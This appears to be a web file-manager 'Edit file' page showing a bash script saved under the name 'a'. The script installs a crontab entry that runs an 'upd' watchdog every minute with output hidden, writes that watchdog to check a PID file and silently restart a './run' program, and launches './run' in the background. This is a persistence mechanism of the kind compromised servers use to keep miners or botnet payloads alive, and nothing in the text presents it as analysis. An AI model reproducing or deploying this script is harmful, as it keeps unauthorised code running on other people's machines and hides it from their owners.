Edit file File name : a Content :#!/bin/bash options="$@" pwd > dir.dir dir=$(cat dir.dir) echo "* * * * * cd $dir && ./upd $options >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then sleep 1 else cd $dir ./run $options &>/dev/null exit 0 fi fi" > upd chmod u+x upd ./run $options &>/dev/null Save